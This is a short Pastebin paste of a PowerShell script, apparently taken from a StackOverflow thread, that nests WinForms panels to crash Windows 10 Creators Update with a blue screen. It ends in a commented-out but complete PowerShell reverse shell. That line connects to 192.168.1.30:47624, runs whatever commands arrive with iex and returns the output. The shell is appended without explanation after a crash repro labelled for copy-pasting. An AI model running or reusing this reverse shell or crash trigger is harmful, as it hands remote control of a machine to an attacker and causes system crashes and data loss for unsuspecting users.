Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # From https://stackoverflow.com/questions/43583651/windows-10-creators-updates-breaks-winforms-apps-bsod
- # (This can be copy pasted into Powershell)
- [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
- $form = new-object System.Windows.Forms.Form
- $lastPanel = $form
- for($i = 0; $i -lt 45; $i++) {
- $newPanel = new-object System.Windows.Forms.Panel
- $newPanel.Dock = [System.Windows.Forms.DockStyle]::Fill
- $lastPanel.Controls.Add($newPanel)
- $lastPanel = $newPanel
- }
- $form.ShowDialog()
- # Then move the mouse on the window
- #$client = New-Object System.Net.Sockets.TCPClient("192.168.1.30",47624);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement